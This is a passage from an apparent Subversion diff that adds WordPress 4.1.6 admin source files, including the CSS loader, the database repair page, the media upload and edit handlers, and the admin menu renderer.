+	}
+}
+
+echo $out;
+exit;
Index: /tags/4.1.6/src/wp-admin/load-styles.php
===================================================================
--- /tags/4.1.6/src/wp-admin/load-styles.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/load-styles.php	(revision 33402)
@@ -0,0 +1,153 @@
+<?php
+
+/**
+ * Disable error reporting
+ *
+ * Set this to error_reporting( -1 ) for debugging
+ */
+error_reporting(0);
+
+/** Set ABSPATH for execution */
+define( 'ABSPATH', dirname(dirname(__FILE__)) . '/' );
+define( 'WPINC', 'wp-includes' );
+
+/**
+ * @ignore
+ */
+function __() {}
+
+/**
+ * @ignore
+ */
+function _x() {}
+
+/**
+ * @ignore
+ */
+function add_filter() {}
+
+/**
+ * @ignore
+ */
+function esc_attr() {}
+
+/**
+ * @ignore
+ */
+function apply_filters() {}
+
+/**
+ * @ignore
+ */
+function get_option() {}
+
+/**
+ * @ignore
+ */
+function is_lighttpd_before_150() {}
+
+/**
+ * @ignore
+ */
+function add_action() {}
+
+/**
+ * @ignore
+ */
+function do_action_ref_array() {}
+
+/**
+ * @ignore
+ */
+function get_bloginfo() {}
+
+/**
+ * @ignore
+ */
+function is_admin() {return true;}
+
+/**
+ * @ignore
+ */
+function site_url() {}
+
+/**
+ * @ignore
+ */
+function admin_url() {}
+
+/**
+ * @ignore
+ */
+function wp_guess_url() {}
+
+function get_file($path) {
+
+	if ( function_exists('realpath') )
+		$path = realpath($path);
+
+	if ( ! $path || ! @is_file($path) )
+		return '';
+
+	return @file_get_contents($path);
+}
+
+require( ABSPATH . WPINC . '/script-loader.php' );
+require( ABSPATH . WPINC . '/version.php' );
+
+$load = preg_replace( '/[^a-z0-9,_-]+/i', '', $_GET['load'] );
+$load = array_unique( explode( ',', $load ) );
+
+if ( empty($load) )
+	exit;
+
+$compress = ( isset($_GET['c']) && $_GET['c'] );
+$force_gzip = ( $compress && 'gzip' == $_GET['c'] );
+$rtl = ( isset($_GET['dir']) && 'rtl' == $_GET['dir'] );
+$expires_offset = 31536000; // 1 year
+$out = '';
+
+$wp_styles = new WP_Styles();
+wp_default_styles($wp_styles);
+
+foreach( $load as $handle ) {
+	if ( !array_key_exists($handle, $wp_styles->registered) )
+		continue;
+
+	$style = $wp_styles->registered[$handle];
+	$path = ABSPATH . $style->src;
+
+	if ( $rtl && ! empty( $style->extra['rtl'] ) ) {
+		// All default styles have fully independent RTL files.
+		$path = str_replace( '.min.css', '-rtl.min.css', $path );
+	}
+
+	$content = get_file( $path ) . "\n";
+
+	if ( strpos( $style->src, '/' . WPINC . '/css/' ) === 0 ) {
+		$content = str_replace( '../images/', '../' . WPINC . '/images/', $content );
+		$content = str_replace( '../js/tinymce/', '../' . WPINC . '/js/tinymce/', $content );
+		$content = str_replace( '../fonts/', '../' . WPINC . '/fonts/', $content );
+		$out .= $content;
+	} else {
+		$out .= str_replace( '../images/', 'images/', $content );
+	}
+}
+
+header('Content-Type: text/css; charset=UTF-8');
+header('Expires: ' . gmdate( "D, d M Y H:i:s", time() + $expires_offset ) . ' GMT');
+header("Cache-Control: public, max-age=$expires_offset");
+
+if ( $compress && ! ini_get('zlib.output_compression') && 'ob_gzhandler' != ini_get('output_handler') && isset($_SERVER['HTTP_ACCEPT_ENCODING']) ) {
+	header('Vary: Accept-Encoding'); // Handle proxies
+	if ( false !== stripos($_SERVER['HTTP_ACCEPT_ENCODING'], 'deflate') && function_exists('gzdeflate') && ! $force_gzip ) {
+		header('Content-Encoding: deflate');
+		$out = gzdeflate( $out, 3 );
+	} elseif ( false !== stripos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') && function_exists('gzencode') ) {
+		header('Content-Encoding: gzip');
+		$out = gzencode( $out, 3 );
+	}
+}
+
+echo $out;
+exit;
Index: /tags/4.1.6/src/wp-admin/maint/repair.php
===================================================================
--- /tags/4.1.6/src/wp-admin/maint/repair.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/maint/repair.php	(revision 33402)
@@ -0,0 +1,124 @@
+<?php
+/**
+ * Database Repair and Optimization Script.
+ *
+ * @package WordPress
+ * @subpackage Database
+ */
+define('WP_REPAIRING', true);
+
+require_once( dirname( dirname( dirname( __FILE__ ) ) ) . '/wp-load.php' );
+
+header( 'Content-Type: text/html; charset=utf-8' );
+?>
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+<head>
+	<meta name="viewport" content="width=device-width" />
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<title><?php _e( 'WordPress &rsaquo; Database Repair' ); ?></title>
+	<?php
+	wp_admin_css( 'install', true );
+	?>
+</head>
+<body class="wp-core-ui">
+<h1 id="logo"><a href="<?php echo esc_url( __( 'https://wordpress.org/' ) ); ?>" tabindex="-1"><?php _e( 'WordPress' ); ?></a></h1>
+
+<?php
+
+if ( ! defined( 'WP_ALLOW_REPAIR' ) ) {
+	echo '<p>' . __( 'To allow use of this page to automatically repair database problems, please add the following line to your <code>wp-config.php</code> file. Once this line is added to your config, reload this page.' ) . "</p><p><code>define('WP_ALLOW_REPAIR', true);</code></p>";
+} elseif ( isset( $_GET['repair'] ) ) {
+	$optimize = 2 == $_GET['repair'];
+	$okay = true;
+	$problems = array();
+
+	$tables = $wpdb->tables();
+
+	// Sitecategories may not exist if global terms are disabled.
+	$query = $wpdb->prepare( "SHOW TABLES LIKE %s", $wpdb->esc_like( $wpdb->sitecategories ) );
+	if ( is_multisite() && ! $wpdb->get_var( $query ) ) {
+		unset( $tables['sitecategories'] );
+	}
+
+	/**
+	 * Filter additional database tables to repair.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $tables Array of prefixed table names to be repaired.
+	 */
+	$tables = array_merge( $tables, (array) apply_filters( 'tables_to_repair', array() ) );
+
+	// Loop over the tables, checking and repairing as needed.
+	foreach ( $tables as $table ) {
+		$check = $wpdb->get_row( "CHECK TABLE $table" );
+
+		echo '<p>';
+		if ( 'OK' == $check->Msg_text ) {
+			/* translators: %s: table name */
+			printf( __( 'The %s table is okay.' ), "<code>$table</code>" );
+		} else {
+			/* translators: 1: table name, 2: error message, */
+			printf( __( 'The %1$s table is not okay. It is reporting the following error: %2$s. WordPress will attempt to repair this table&hellip;' ) , "<code>$table</code>", "<code>$check->Msg_text</code>" );
+
+			$repair = $wpdb->get_row( "REPAIR TABLE $table" );
+
+			echo '<br />&nbsp;&nbsp;&nbsp;&nbsp;';
+			if ( 'OK' == $check->Msg_text ) {
+				/* translators: %s: table name */
+				printf( __( 'Successfully repaired the %s table.' ), "<code>$table</code>" );
+			} else {
+				/* translators: 1: table name, 2: error message, */
+				echo sprintf( __( 'Failed to repair the %1$s table. Error: %2$s' ), "<code>$table</code>", "<code>$check->Msg_text</code>" ) . '<br />';
+				$problems[$table] = $check->Msg_text;
+				$okay = false;
+			}
+		}
+
+		if ( $okay && $optimize ) {
+			$check = $wpdb->get_row( "ANALYZE TABLE $table" );
+
+			echo '<br />&nbsp;&nbsp;&nbsp;&nbsp;';
+			if ( 'Table is already up to date' == $check->Msg_text )  {
+				/* translators: %s: table name */
+				printf( __( 'The %s table is already optimized.' ), "<code>$table</code>" );
+			} else {
+				$check = $wpdb->get_row( "OPTIMIZE TABLE $table" );
+
+				echo '<br />&nbsp;&nbsp;&nbsp;&nbsp;';
+				if ( 'OK' == $check->Msg_text || 'Table is already up to date' == $check->Msg_text ) {
+					/* translators: %s: table name */
+					printf( __( 'Successfully optimized the %s table.' ), "<code>$table</code>" );
+				} else {
+					/* translators: 1: table name, 2: error message, */
+					printf( __( 'Failed to optimize the %1$s table. Error: %2$s' ), "<code>$table</code>", "<code>$check->Msg_text</code>" );
+				}
+			}
+		}
+		echo '</p>';
+	}
+
+	if ( $problems ) {
+		printf( '<p>' . __('Some database problems could not be repaired. Please copy-and-paste the following list of errors to the <a href="%s">WordPress support forums</a> to get additional assistance.') . '</p>', __( 'https://wordpress.org/support/forum/how-to-and-troubleshooting' ) );
+		$problem_output = '';
+		foreach ( $problems as $table => $problem )
+			$problem_output .= "$table: $problem\n";
+		echo '<p><textarea name="errors" id="errors" rows="20" cols="60">' . esc_textarea( $problem_output ) . '</textarea></p>';
+	} else {
+		echo '<p>' . __( 'Repairs complete. Please remove the following line from wp-config.php to prevent this page from being used by unauthorized users.' ) . "</p><p><code>define('WP_ALLOW_REPAIR', true);</code></p>";
+	}
+} else {
+	if ( isset( $_GET['referrer'] ) && 'is_blog_installed' == $_GET['referrer'] )
+		echo '<p>' . __( 'One or more database tables are unavailable. To allow WordPress to attempt to repair these tables, press the &#8220;Repair Database&#8221; button. Repairing can take a while, so please be patient.' ) . '</p>';
+	else
+		echo '<p>' . __( 'WordPress can automatically look for some common database problems and repair them. Repairing can take a while, so please be patient.' ) . '</p>';
+?>
+	<p class="step"><a class="button button-large" href="repair.php?repair=1"><?php _e( 'Repair Database' ); ?></a></p>
+	<p><?php _e( 'WordPress can also attempt to optimize the database. This improves performance in some situations. Repairing and optimizing the database can take a long time and the database will be locked while optimizing.' ); ?></p>
+	<p class="step"><a class="button button-large" href="repair.php?repair=2"><?php _e( 'Repair and Optimize Database' ); ?></a></p>
+<?php
+}
+?>
+</body>
+</html>
Index: /tags/4.1.6/src/wp-admin/media-new.php
===================================================================
--- /tags/4.1.6/src/wp-admin/media-new.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/media-new.php	(revision 33402)
@@ -0,0 +1,84 @@
+<?php
+/**
+ * Manage media uploaded file.
+ *
+ * There are many filters in here for media. Plugins can extend functionality
+ * by hooking into the filters.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if (!current_user_can('upload_files'))
+	wp_die(__('You do not have permission to upload files.'));
+
+wp_enqueue_script('plupload-handlers');
+
+$post_id = 0;
+if ( isset( $_REQUEST['post_id'] ) ) {
+	$post_id = absint( $_REQUEST['post_id'] );
+	if ( ! get_post( $post_id ) || ! current_user_can( 'edit_post', $post_id ) )
+		$post_id = 0;
+}
+
+if ( $_POST ) {
+	$location = 'upload.php';
+	if ( isset($_POST['html-upload']) && !empty($_FILES) ) {
+		check_admin_referer('media-form');
+		// Upload File button was clicked
+		$id = media_handle_upload( 'async-upload', $post_id );
+		if ( is_wp_error( $id ) )
+			$location .= '?message=3';
+	}
+	wp_redirect( admin_url( $location ) );
+	exit;
+}
+
+$title = __('Upload New Media');
+$parent_file = 'upload.php';
+
+get_current_screen()->add_help_tab( array(
+'id'		=> 'overview',
+'title'		=> __('Overview'),
+'content'	=>
+	'<p>' . __('You can upload media files here without creating a post first. This allows you to upload files to use with posts and pages later and/or to get a web link for a particular file that you can share. There are three options for uploading files:') . '</p>' .
+	'<ul>' .
+		'<li>' . __('<strong>Drag and drop</strong> your files into the area below. Multiple files are allowed.') . '</li>' .
+		'<li>' . __('Clicking <strong>Select Files</strong> opens a navigation window showing you files in your operating system. Selecting <strong>Open</strong> after clicking on the file you want activates a progress bar on the uploader screen.') . '</li>' .
+		'<li>' . __('Revert to the <strong>Browser Uploader</strong> by clicking the link below the drag and drop box.') . '</li>' .
+	'</ul>'
+) );
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Media_Add_New_Screen" target="_blank">Documentation on Uploading Media Files</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+$form_class = 'media-upload-form type-form validate';
+
+if ( get_user_setting('uploader') || isset( $_GET['browser-uploader'] ) )
+	$form_class .= ' html-uploader';
+?>
+<div class="wrap">
+	<h2><?php echo esc_html( $title ); ?></h2>
+
+	<form enctype="multipart/form-data" method="post" action="<?php echo admin_url('media-new.php'); ?>" class="<?php echo esc_attr( $form_class ); ?>" id="file-form">
+
+	<?php media_upload_form(); ?>
+
+	<script type="text/javascript">
+	var post_id = <?php echo $post_id; ?>, shortform = 3;
+	</script>
+	<input type="hidden" name="post_id" id="post_id" value="<?php echo $post_id; ?>" />
+	<?php wp_nonce_field('media-form'); ?>
+	<div id="media-items" class="hide-if-no-js"></div>
+	</form>
+</div>
+
+<?php
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/media-upload.php
===================================================================
--- /tags/4.1.6/src/wp-admin/media-upload.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/media-upload.php	(revision 33402)
@@ -0,0 +1,100 @@
+<?php
+/**
+ * Manage media uploaded file.
+ *
+ * There are many filters in here for media. Plugins can extend functionality
+ * by hooking into the filters.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+if ( ! isset( $_GET['inline'] ) )
+	define( 'IFRAME_REQUEST' , true );
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if (!current_user_can('upload_files'))
+	wp_die(__('You do not have permission to upload files.'));
+
+wp_enqueue_script('plupload-handlers');
+wp_enqueue_script('image-edit');
+wp_enqueue_script('set-post-thumbnail' );
+wp_enqueue_style('imgareaselect');
+wp_enqueue_script( 'media-gallery' );
+
+@header('Content-Type: ' . get_option('html_type') . '; charset=' . get_option('blog_charset'));
+
+// IDs should be integers
+$ID = isset($ID) ? (int) $ID : 0;
+$post_id = isset($post_id)? (int) $post_id : 0;
+
+// Require an ID for the edit screen.
+if ( isset($action) && $action == 'edit' && !$ID )
+	wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+	if ( ! empty( $_REQUEST['post_id'] ) && ! current_user_can( 'edit_post' , $_REQUEST['post_id'] ) )
+		wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+	// Upload type: image, video, file, ..?
+	if ( isset($_GET['type']) ) {
+		$type = strval($_GET['type']);
+	} else {
+		/**
+		 * Filter the default media upload type in the legacy (pre-3.5.0) media popup.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param string $type The default media upload type. Possible values include
+		 *                     'image', 'audio', 'video', 'file', etc. Default 'file'.
+		 */
+		$type = apply_filters( 'media_upload_default_type', 'file' );
+	}
+
+	// Tab: gallery, library, or type-specific.
+	if ( isset($_GET['tab']) ) {
+		$tab = strval($_GET['tab']);
+	} else {
+		/**
+		 * Filter the default tab in the legacy (pre-3.5.0) media popup.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param string $type The default media popup tab. Default 'type' (From Computer).
+		 */
+		$tab = apply_filters( 'media_upload_default_tab', 'type' );
+	}
+
+	$body_id = 'media-upload';
+
+	// Let the action code decide how to handle the request.
+	if ( $tab == 'type' || $tab == 'type_url' || ! array_key_exists( $tab , media_upload_tabs() ) ) {
+		/**
+		 * Fires inside specific upload-type views in the legacy (pre-3.5.0)
+		 * media popup based on the current tab.
+		 *
+		 * The dynamic portion of the hook name, `$type`, refers to the specific
+		 * media upload type. Possible values include 'image', 'audio', 'video',
+		 * 'file', etc.
+		 *
+		 * The hook only fires if the current `$tab` is 'type' (From Computer),
+		 * 'type_url' (From URL), or, if the tab does not exist (i.e., has not
+		 * been registered via the {@see 'media_upload_tabs'} filter.
+		 *
+		 * @since 2.5.0
+		 */
+		do_action( "media_upload_$type" );
+	} else {
+		/**
+		 * Fires inside limited and specific upload-tab views in the legacy
+		 * (pre-3.5.0) media popup.
+		 *
+		 * The dynamic portion of the hook name, `$tab`, refers to the specific
+		 * media upload tab. Possible values include 'library' (Media Library),
+		 * or any custom tab registered via the {@see 'media_upload_tabs'} filter.
+		 *
+		 * @since 2.5.0
+		 */
+		do_action( "media_upload_$tab" );
+	}
Index: /tags/4.1.6/src/wp-admin/media.php
===================================================================
--- /tags/4.1.6/src/wp-admin/media.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/media.php	(revision 33402)
@@ -0,0 +1,146 @@
+<?php
+/**
+ * Media management action handler.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+$parent_file = 'upload.php';
+$submenu_file = 'upload.php';
+
+wp_reset_vars(array('action'));
+
+switch ( $action ) {
+case 'editattachment' :
+	$attachment_id = (int) $_POST['attachment_id'];
+	check_admin_referer('media-form');
+
+	if ( !current_user_can('edit_post', $attachment_id) )
+		wp_die ( __('You are not allowed to edit this attachment.') );
+
+	$errors = media_upload_form_handler();
+
+	if ( empty($errors) ) {
+		$location = 'media.php';
+		if ( $referer = wp_get_original_referer() ) {
+			if ( false !== strpos($referer, 'upload.php') || ( url_to_postid($referer) == $attachment_id )  )
+				$location = $referer;
+		}
+		if ( false !== strpos($location, 'upload.php') ) {
+			$location = remove_query_arg('message', $location);
+			$location = add_query_arg('posted',	$attachment_id, $location);
+		} elseif ( false !== strpos($location, 'media.php') ) {
+			$location = add_query_arg('message', 'updated', $location);
+		}
+		wp_redirect($location);
+		exit;
+	}
+
+	// No break.
+case 'edit' :
+	$title = __('Edit Media');
+
+	if ( empty($errors) )
+		$errors = null;
+
+	if ( empty( $_GET['attachment_id'] ) ) {
+		wp_redirect( admin_url('upload.php') );
+		exit();
+	}
+	$att_id = (int) $_GET['attachment_id'];
+
+	if ( !current_user_can('edit_post', $att_id) )
+		wp_die ( __('You are not allowed to edit this attachment.') );
+
+	$att = get_post($att_id);
+
+	if ( empty($att->ID) ) wp_die( __('You attempted to edit an attachment that doesn&#8217;t exist. Perhaps it was deleted?') );
+	if ( 'attachment' !== $att->post_type ) wp_die( __('You attempted to edit an item that isn&#8217;t an attachment. Please go back and try again.') );
+	if ( $att->post_status == 'trash' ) wp_die( __('You can&#8217;t edit this attachment because it is in the Trash. Please move it out of the Trash and try again.') );
+
+	add_filter('attachment_fields_to_edit', 'media_single_attachment_fields_to_edit', 10, 2);
+
+	wp_enqueue_script( 'wp-ajax-response' );
+	wp_enqueue_script('image-edit');
+	wp_enqueue_style('imgareaselect');
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'overview',
+		'title'   => __('Overview'),
+		'content' =>
+			'<p>' . __('This screen allows you to edit five fields for metadata in a file within the media library.') . '</p>' .
+			'<p>' . __('For images only, you can click on Edit Image under the thumbnail to expand out an inline image editor with icons for cropping, rotating, or flipping the image as well as for undoing and redoing. The boxes on the right give you more options for scaling the image, for cropping it, and for cropping the thumbnail in a different way than you crop the original image. You can click on Help in those boxes to get more information.') . '</p>' .
+			'<p>' . __('Note that you crop the image by clicking on it (the Crop icon is already selected) and dragging the cropping frame to select the desired part. Then click Save to retain the cropping.') . '</p>' .
+			'<p>' . __('Remember to click Update Media to save metadata entered or changed.') . '</p>'
+	) );
+
+	get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Media_Add_New_Screen#Edit_Media" target="_blank">Documentation on Edit Media</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+	);
+
+	require( ABSPATH . 'wp-admin/admin-header.php' );
+
+	$parent_file = 'upload.php';
+	$message = '';
+	$class = '';
+	if ( isset($_GET['message']) ) {
+		switch ( $_GET['message'] ) {
+			case 'updated' :
+				$message = __('Media attachment updated.');
+				$class = 'updated';
+				break;
+		}
+	}
+	if ( $message )
+		echo "<div id='message' class='$class'><p>$message</p></div>\n";
+
+?>
+
+<div class="wrap">
+<h2>
+<?php
+echo esc_html( $title );
+if ( current_user_can( 'upload_files' ) ) { ?>
+	<a href="media-new.php" class="add-new-h2"><?php echo esc_html_x('Add New', 'file'); ?></a>
+<?php } ?>
+</h2>
+
+<form method="post" action="" class="media-upload-form" id="media-single-form">
+<p class="submit" style="padding-bottom: 0;">
+<?php submit_button( __( 'Update Media' ), 'primary', 'save', false ); ?>
+</p>
+
+<div class="media-single">
+<div id="media-item-<?php echo $att_id; ?>" class="media-item">
+<?php echo get_media_item( $att_id, array( 'toggle' => false, 'send' => false, 'delete' => false, 'show_title' => false, 'errors' => !empty($errors[$att_id]) ? $errors[$att_id] : null ) ); ?>
+</div>
+</div>
+
+<?php submit_button( __( 'Update Media' ), 'primary', 'save' ); ?>
+<input type="hidden" name="post_id" id="post_id" value="<?php echo isset($post_id) ? esc_attr($post_id) : ''; ?>" />
+<input type="hidden" name="attachment_id" id="attachment_id" value="<?php echo esc_attr($att_id); ?>" />
+<input type="hidden" name="action" value="editattachment" />
+<?php wp_original_referer_field(true, 'previous'); ?>
+<?php wp_nonce_field('media-form'); ?>
+
+</form>
+
+</div>
+
+<?php
+
+	require( ABSPATH . 'wp-admin/admin-footer.php' );
+
+	exit;
+
+default:
+	wp_redirect( admin_url('upload.php') );
+	exit;
+
+}
Index: /tags/4.1.6/src/wp-admin/menu-header.php
===================================================================
--- /tags/4.1.6/src/wp-admin/menu-header.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/menu-header.php	(revision 33402)
@@ -0,0 +1,238 @@
+<?php
+/**
+ * Displays Administration Menu.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * The current page.
+ *
+ * @global string $self
+ * @name $self
+ * @var string
+ */
+$self = preg_replace('|^.*/wp-admin/network/|i', '', $_SERVER['PHP_SELF']);
+$self = preg_replace('|^.*/wp-admin/|i', '', $self);
+$self = preg_replace('|^.*/plugins/|i', '', $self);
+$self = preg_replace('|^.*/mu-plugins/|i', '', $self);
+
+global $menu, $submenu, $parent_file; //For when admin-header is included from within a function.
+
+/**
+ * Filter the parent file of an admin menu sub-menu item.
+ *
+ * Allows plugins to move sub-menu items around.
+ *
+ * @since MU
+ *
+ * @param string $parent_file The parent file.
+ */
+$parent_file = apply_filters( 'parent_file', $parent_file );
+
+get_admin_page_parent();
+
+/**
+ * Display menu.
+ *
+ * @access private
+ * @since 2.7.0
+ *
+ * @param array $menu
+ * @param array $submenu
+ * @param bool $submenu_as_parent
+ */
+function _wp_menu_output( $menu, $submenu, $submenu_as_parent = true ) {
+	global $self, $parent_file, $submenu_file, $plugin_page, $typenow;
+
+	$first = true;
+	// 0 = menu_title, 1 = capability, 2 = menu_slug, 3 = page_title, 4 = classes, 5 = hookname, 6 = icon_url
+	foreach ( $menu as $key => $item ) {
+		$admin_is_parent = false;
+		$class = array();
+		$aria_attributes = '';
+		$aria_hidden = '';
+		$is_separator = false;
+
+		if ( $first ) {
+			$class[] = 'wp-first-item';
+			$first = false;
+		}
+
+		$submenu_items = false;
+		if ( ! empty( $submenu[$item[2]] ) ) {
+			$class[] = 'wp-has-submenu';
+			$submenu_items = $submenu[$item[2]];
+		}
+
+		if ( ( $parent_file && $item[2] == $parent_file ) || ( empty($typenow) && $self == $item[2] ) ) {
+			$class[] = ! empty( $submenu_items ) ? 'wp-has-current-submenu wp-menu-open' : 'current';
+		} else {
+			$class[] = 'wp-not-current-submenu';
+			if ( ! empty( $submenu_items ) )
+				$aria_attributes .= 'aria-haspopup="true"';
+		}
+
+		if ( ! empty( $item[4] ) )
+			$class[] = esc_attr( $item[4] );
+
+		$class = $class ? ' class="' . join( ' ', $class ) . '"' : '';
+		$id = ! empty( $item[5] ) ? ' id="' . preg_replace( '|[^a-zA-Z0-9_:.]|', '-', $item[5] ) . '"' : '';
+		$img = $img_style = '';
+		$img_class = ' dashicons-before';
+
+		if ( false !== strpos( $class, 'wp-menu-separator' ) ) {
+			$is_separator = true;
+		}
+
+		/*
+		 * If the string 'none' (previously 'div') is passed instead of an URL, don't output
+		 * the default menu image so an icon can be added to div.wp-menu-image as background
+		 * with CSS. Dashicons and base64-encoded data:image/svg_xml URIs are also handled
+		 * as special cases.
+		 */
+		if ( ! empty( $item[6] ) ) {
+			$img = '<img src="' . $item[6] . '" alt="" />';
+
+			if ( 'none' === $item[6] || 'div' === $item[6] ) {
+				$img = '<br />';
+			} elseif ( 0 === strpos( $item[6], 'data:image/svg+xml;base64,' ) ) {
+				$img = '<br />';
+				$img_style = ' style="background-image:url(\'' . esc_attr( $item[6] ) . '\')"';
+				$img_class = ' svg';
+			} elseif ( 0 === strpos( $item[6], 'dashicons-' ) ) {
+				$img = '<br />';
+				$img_class = ' dashicons-before ' . sanitize_html_class( $item[6] );
+			}
+		}
+		$arrow = '<div class="wp-menu-arrow"><div></div></div>';
+
+		$title = wptexturize( $item[0] );
+
+		// hide separators from screen readers
+		if ( $is_separator ) {
+			$aria_hidden = ' aria-hidden="true"';
+		}
+
+		echo "\n\t<li$class$id$aria_hidden>";
+
+		if ( $is_separator ) {
+			echo '<div class="separator"></div>';
+		} elseif ( $submenu_as_parent && ! empty( $submenu_items ) ) {
+			$submenu_items = array_values( $submenu_items );  // Re-index.
+			$menu_hook = get_plugin_page_hook( $submenu_items[0][2], $item[2] );
+			$menu_file = $submenu_items[0][2];
+			if ( false !== ( $pos = strpos( $menu_file, '?' ) ) )
+				$menu_file = substr( $menu_file, 0, $pos );
+			if ( ! empty( $menu_hook ) || ( ( 'index.php' != $submenu_items[0][2] ) && file_exists( WP_PLUGIN_DIR . "/$menu_file" ) && ! file_exists( ABSPATH . "/wp-admin/$menu_file" ) ) ) {
+				$admin_is_parent = true;
+				echo "<a href='admin.php?page={$submenu_items[0][2]}'$class $aria_attributes>$arrow<div class='wp-menu-image$img_class'$img_style>$img</div><div class='wp-menu-name'>$title</div></a>";
+			} else {
+				echo "\n\t<a href='{$submenu_items[0][2]}'$class $aria_attributes>$arrow<div class='wp-menu-image$img_class'$img_style>$img</div><div class='wp-menu-name'>$title</div></a>";
+			}
+		} elseif ( ! empty( $item[2] ) && current_user_can( $item[1] ) ) {
+			$menu_hook = get_plugin_page_hook( $item[2], 'admin.php' );
+			$menu_file = $item[2];
+			if ( false !== ( $pos = strpos( $menu_file, '?' ) ) )
+				$menu_file = substr( $menu_file, 0, $pos );
+			if ( ! empty( $menu_hook ) || ( ( 'index.php' != $item[2] ) && file_exists( WP_PLUGIN_DIR . "/$menu_file" ) && ! file_exists( ABSPATH . "/wp-admin/$menu_file" ) ) ) {
+				$admin_is_parent = true;
+				echo "\n\t<a href='admin.php?page={$item[2]}'$class $aria_attributes>$arrow<div class='wp-menu-image$img_class'$img_style>$img</div><div class='wp-menu-name'>{$item[0]}</div></a>";
+			} else {
+				echo "\n\t<a href='{$item[2]}'$class $aria_attributes>$arrow<div class='wp-menu-image$img_class'$img_style>$img</div><div class='wp-menu-name'>{$item[0]}</div></a>";
+			}
+		}
+
+		if ( ! empty( $submenu_items ) ) {
+			echo "\n\t<ul class='wp-submenu wp-submenu-wrap'>";
+			echo "<li class='wp-submenu-head'>{$item[0]}</li>";
+
+			$first = true;
+
+			// 0 = menu_title, 1 = capability, 2 = menu_slug, 3 = page_title, 4 = classes
+			foreach ( $submenu_items as $sub_key => $sub_item ) {
+				if ( ! current_user_can( $sub_item[1] ) )
+					continue;
+
+				$class = array();
+				if ( $first ) {
+					$class[] = 'wp-first-item';
+					$first = false;
+				}
+
+				$menu_file = $item[2];
+
+				if ( false !== ( $pos = strpos( $menu_file, '?' ) ) )
+					$menu_file = substr( $menu_file, 0, $pos );
+
+				// Handle current for post_type=post|page|foo pages, which won't match $self.
+				$self_type = ! empty( $typenow ) ? $self . '?post_type=' . $typenow : 'nothing';
+
+				if ( isset( $submenu_file ) ) {
+					if ( $submenu_file == $sub_item[2] )
+						$class[] = 'current';
+				// If plugin_page is set the parent must either match the current page or not physically exist.
+				// This allows plugin pages with the same hook to exist under different parents.
+				} else if (
+					( ! isset( $plugin_page ) && $self == $sub_item[2] ) ||
+					( isset( $plugin_page ) && $plugin_page == $sub_item[2] && ( $item[2] == $self_type || $item[2] == $self || file_exists($menu_file) === false ) )
+				) {
+					$class[] = 'current';
+				}
+
+				if ( ! empty( $sub_item[4] ) ) {
+					$class[] = esc_attr( $sub_item[4] );
+				}
+
+				$class = $class ? ' class="' . join( ' ', $class ) . '"' : '';
+
+				$menu_hook = get_plugin_page_hook($sub_item[2], $item[2]);
+				$sub_file = $sub_item[2];
+				if ( false !== ( $pos = strpos( $sub_file, '?' ) ) )
+					$sub_file = substr($sub_file, 0, $pos);
+
+				$title = wptexturize($sub_item[0]);
+
+				if ( ! empty( $menu_hook ) || ( ( 'index.php' != $sub_item[2] ) && file_exists( WP_PLUGIN_DIR . "/$sub_file" ) && ! file_exists( ABSPATH . "/wp-admin/$sub_file" ) ) ) {
+					// If admin.php is the current page or if the parent exists as a file in the plugins or admin dir
+					if ( ( ! $admin_is_parent && file_exists( WP_PLUGIN_DIR . "/$menu_file" ) && ! is_dir( WP_PLUGIN_DIR . "/{$item[2]}" ) ) || file_exists( $menu_file ) )
+						$sub_item_url = add_query_arg( array( 'page' => $sub_item[2] ), $item[2] );
+					else
+						$sub_item_url = add_query_arg( array( 'page' => $sub_item[2] ), 'admin.php' );
+
+					$sub_item_url = esc_url( $sub_item_url );
+					echo "<li$class><a href='$sub_item_url'$class>$title</a></li>";
+				} else {
+					echo "<li$class><a href='{$sub_item[2]}'$class>$title</a></li>";
+				}
+			}
+			echo "</ul>";
+		}
+		echo "</li>";
+	}
+
+	echo '<li id="collapse-menu" class="hide-if-no-js"><div id="collapse-button"><div></div></div>';
+	echo '<span>' . esc_html__( 'Collapse menu' ) . '</span>';
+	echo '</li>';
+}
+
+?>
+
+<div id="adminmenuback"></div>
+<div id="adminmenuwrap">
+<ul id="adminmenu" role="navigation">
+
+<?php
+
+_wp_menu_output( $menu, $submenu );
+/**
+ * Fires after the admin menu has been output.
+ *
+ * @since 2.5.0
+ */
+do_action( 'adminmenu' );
+
+?>
+</ul>
+</div>
Index: /tags/4.1.6/src/wp-admin/menu.php
===================================================================
